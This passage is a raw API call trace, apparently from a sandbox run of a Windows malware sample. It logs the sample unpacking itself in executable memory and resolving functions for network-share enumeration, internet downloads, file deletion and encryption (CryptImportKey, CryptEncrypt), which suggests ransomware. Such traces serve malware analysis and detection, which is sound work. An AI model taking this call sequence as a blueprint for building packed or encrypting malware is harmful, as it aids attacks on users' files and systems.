nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.798] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.848] lstrcpyA (in: lpString1=0x4b0340, lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0025.848] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0025.858] lstrcatA (in: lpString1="", lpString2="Virtual" | out: lpString1="Virtual") returned="Virtual" [0025.858] lstrcatA (in: lpString1="", lpString2="Protect" | out: lpString1="Protect") returned="Protect" [0025.858] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0025.894] VirtualProtect (in: lpAddress=0x2d0020, dwSize=0x90e00, flNewProtect=0x40, lpflOldProtect=0x18fe68 | out: lpflOldProtect=0x18fe68*=0x4) returned 1 [0025.981] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0025.981] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0025.981] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0025.981] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0025.981] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0025.981] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0025.981] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0025.981] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0025.982] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x30 [0025.983] Module32First (hSnapshot=0x30, lpme=0x18fc00) returned 1 [0025.985] VirtualAlloc (lpAddress=0x0, dwSize=0x119e50, flAllocationType=0x1000, flProtect=0x40) returned 0x830000 [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0026.021] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0026.021] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0026.021] SetErrorMode (uMode=0x400) returned 0x0 [0026.021] SetErrorMode (uMode=0x0) returned 0x400 [0026.021] GetVersionExA (in: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0026.021] VirtualAlloc (lpAddress=0x0, dwSize=0x119000, flAllocationType=0x1000, flProtect=0x4) returned 0x950000 [0026.039] VirtualProtect (in: lpAddress=0x400000, dwSize=0x137000, flNewProtect=0x40, lpflOldProtect=0x18fbb8 | out: lpflOldProtect=0x18fbb8*=0x2) returned 1 [0026.189] VirtualFree (lpAddress=0x950000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0026.194] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76af0000 [0027.175] GetProcAddress (hModule=0x76af0000, lpProcName="RpcStringFreeW") returned 0x76b11635 [0027.175] GetProcAddress (hModule=0x76af0000, lpProcName="UuidCreate") returned 0x76b0f48b [0027.175] GetProcAddress (hModule=0x76af0000, lpProcName="UuidToStringW") returned 0x76b31ee5 [0027.175] GetProcAddress (hModule=0x76af0000, lpProcName="RpcStringFreeA") returned 0x76b33fc5 [0027.175] GetProcAddress (hModule=0x76af0000, lpProcName="UuidToStringA") returned 0x76b6d918 [0027.175] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0027.262] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0027.262] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0027.262] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0027.262] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x758d0000 [0031.809] GetProcAddress (hModule=0x758d0000, lpProcName="InternetCloseHandle") returned 0x758eab49 [0031.809] GetProcAddress (hModule=0x758d0000, lpProcName="InternetReadFile") returned 0x758eb406 [0031.809] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenUrlW") returned 0x7594be5c [0031.809] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenW") returned 0x758f9197 [0031.810] GetProcAddress (hModule=0x758d0000, lpProcName="HttpQueryInfoW") returned 0x758f5c75 [0031.810] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenA") returned 0x758ff18e [0031.810] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenUrlA") returned 0x759130f1 [0031.810] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75620000 [0031.976] GetProcAddress (hModule=0x75620000, lpProcName="timeGetTime") returned 0x756226e0 [0031.977] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x772f0000 [0031.977] GetProcAddress (hModule=0x772f0000, lpProcName="PathAppendA") returned 0x772fd65e [0031.977] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindFileNameW") returned 0x7730bb71 [0031.977] GetProcAddress (hModule=0x772f0000, lpProcName="PathRemoveFileSpecW") returned 0x77303248 [0031.977] GetProcAddress (hModule=0x772f0000, lpProcName="PathFileExistsA") returned 0x7732ad1a [0031.977] GetProcAddress (hModule=0x772f0000, lpProcName="PathFileExistsW") returned 0x773045bf [0031.977] GetProcAddress (hModule=0x772f0000, lpProcName="PathAppendW") returned 0x773081ef [0031.977] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindExtensionW") returned 0x7730a1b9 [0031.977] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0031.977] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeA") returned 0x76d5ef75 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemDirectoryW") returned 0x76d45063 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryW") returned 0x76d4492b [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileW") returned 0x76d6830d [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="FormatMessageW") returned 0x76d44620 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpynW") returned 0x76d6d556 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessA") returned 0x76d41072 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0031.978] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatA") returned 0x76d62b7a [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableA") returned 0x76d433a0 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpW") returned 0x76d45929 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="MultiByteToWideChar") returned 0x76d4192e [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="FlushFileBuffers") returned 0x76d4469b [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="GetShortPathNameA") returned 0x76d6594d [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="SetLastError") returned 0x76d411a9 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0031.979] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="LocalAlloc") returned 0x76d4168c [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventW") returned 0x76d4183e [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameA") returned 0x76d414b1 [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatW") returned 0x76d6828e [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="SetEnvironmentVariableA") returned 0x76d4e331 [0031.980] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="LocalFree") returned 0x76d42d3c [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyW") returned 0x76d63102 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileA") returned 0x76d45444 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyA") returned 0x76d62a9d [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="SetPriorityClass") returned 0x76d5cf28 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="SetStdHandle") returned 0x76dc454f [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0031.981] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryA") returned 0x76d6d526 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatW") returned 0x76d5f481 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatW") returned 0x76d634d7 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesW") returned 0x76dc425f [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLCID") returned 0x76d43da5 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocale") returned 0x76d5ce46 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreW") returned 0x76d5ca5a [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="TlsFree") returned 0x76d43587 [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="TlsSetValue") returned 0x76d414fb [0031.982] GetProcAddress (hModule=0x76d30000, lpProcName="TlsGetValue") returned 0x76d411e0 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="TlsAlloc") returned 0x76d449ad [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="SetUnhandledExceptionFilter") returned 0x76d487c9 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="UnhandledExceptionFilter") returned 0x76d6772f [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalMemoryStatus") returned 0x76d48b6d [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="FlushConsoleInputBuffer") returned 0x76de7a9f [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0031.983] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibrary") returned 0x76d434c8 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointer") returned 0x76d417d1 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleMode") returned 0x76d5a77d [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileA") returned 0x76d453c6 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="GetNumberOfConsoleInputEvents") returned 0x76de793f [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="PeekConsoleInputA") returned 0x76de6f0d [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="FreeEnvironmentStringsW") returned 0x76d451cb [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentStringsW") returned 0x76d451e3 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeZoneInformation") returned 0x76d4465a [0031.984] GetProcAddress (hModule=0x76d30000, lpProcName="RaiseException") returned 0x76d458a6 [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="GetStringTypeW") returned 0x76d41946 [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleCP") returned 0x76de7bff [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="ReadConsoleW") returned 0x76de739a [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleMode") returned 0x76d41328 [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="HeapSize") returned 0x77c73002 [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryExW") returned 0x76d4495d [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="OutputDebugStringW") returned 0x76d6d1d4 [0031.985] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleCtrlHandler") returned 0x76d48a09 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="RtlUnwind") returned 0x76d6d1c3 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="FatalAppExitA") returned 0x76dc4691 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="GetStartupInfoW") returned 0x76d44d40 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringW") returned 0x76d417b9 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="AreFileApisANSI") returned 0x76dc40d1 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalFree") returned 0x76d45558 [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0031.986] GetProcAddress (hModule=0x76d30000, lpProcName="ReadConsoleInputA") returned 0x76de6f53 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleExW") returned 0x76d44a6f [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="WriteConsoleW") returned 0x76d67aca [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTimeAsFileTime") returned 0x76d43509 [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0031.987] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0031.988] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidCodePage") returned 0x76d44493 [0031.988] GetProcAddress (hModule=0x76d30000, lpProcName="GetACP") returned 0x76d4179c [0031.988] GetProcAddress (hModule=0x76d30000, lpProcName="GetOEMCP") returned 0x76d6d1a1 [0031.988] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfo") returned 0x76d45189 [0031.988] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThread") returned 0x76d417ec [0031.988] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThreadId") returned 0x76d41450 [0031.988] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0031.988] GetProcAddress (hModule=0x77130000, lpProcName="PeekMessageW") returned 0x771505ba [0031.988] GetProcAddress (hModule=0x77130000, lpProcName="PostThreadMessageW") returned 0x77148bff [0031.988] GetProcAddress (hModule=0x77130000, lpProcName="DefWindowProcW") returned 0x77c725dd [0031.988] GetProcAddress (hModule=0x77130000, lpProcName="DispatchMessageW") returned 0x7714787b [0031.988] GetProcAddress (hModule=0x77130000, lpProcName="UpdateWindow") returned 0x77153559 [0031.988] GetProcAddress (hModule=0x77130000, lpProcName="CreateWindowExW") returned 0x77148a29 [0031.988] GetProcAddress (hModule=0x77130000, lpProcName="LoadCursorW") returned 0x771488f7 [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="IsWindow") returned 0x77147136 [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="ShowWindow") returned 0x77150dfb [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="RegisterClassExW") returned 0x7714b17d [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="PostQuitMessage") returned 0x77149abb [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="GetMessageW") returned 0x771478e2 [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="DestroyWindow") returned 0x77149a55 [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="SendMessageW") returned 0x77149679 [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="GetProcessWindowStation") returned 0x77149eea [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="GetUserObjectInformationW") returned 0x77148068 [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxA") returned 0x7719fd1e [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="GetDesktopWindow") returned 0x77150a19 [0031.989] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxW") returned 0x7719fd3f [0031.990] GetProcAddress (hModule=0x77130000, lpProcName="TranslateMessage") returned 0x77147809 [0031.990] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="GetUserNameW") returned 0x7772157a [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="ReportEventA") returned 0x77713ee9 [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="RegisterEventSourceA") returned 0x77722d46 [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="DeregisterEventSource") returned 0x777235dd [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="CryptHashData") returned 0x7771df36 [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyHash") returned 0x7771df66 [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144 [0031.990] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="CryptCreateHash") returned 0x7771df4e [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="QueryServiceStatus") returned 0x77722a86 [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0031.991] GetProcAddress 